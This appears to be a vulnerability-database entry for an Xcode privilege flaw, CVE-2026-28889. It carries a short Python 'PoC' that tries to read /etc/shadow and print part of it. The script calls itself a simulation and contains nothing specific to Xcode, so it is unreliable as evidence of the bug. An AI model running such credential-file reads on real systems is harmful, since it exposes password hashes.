CVE-2026-28889 Apple Xcode 权限许可漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-28889: Arbitrary File Read as Root in Xcode # This script simulates the vulnerability behavior. import os def exploit(): # Target a sensitive file that normally requires root access target_path = "/etc/shadow" print(f"[*] Attempting to read {target_path}...") try: # Simulate the permission bypass vulnerability # In the real scenario, the app would have root read access due to the bug with open(target_path, 'r') as file: content = file.read() print("[+] Success! File content read (partial):") print(content[:100]) except PermissionError: print("[-] Failed: Permission denied.") except FileNotFoundError: print("[-] Failed: File not found on this system.") if __name__ == "__main__": exploit()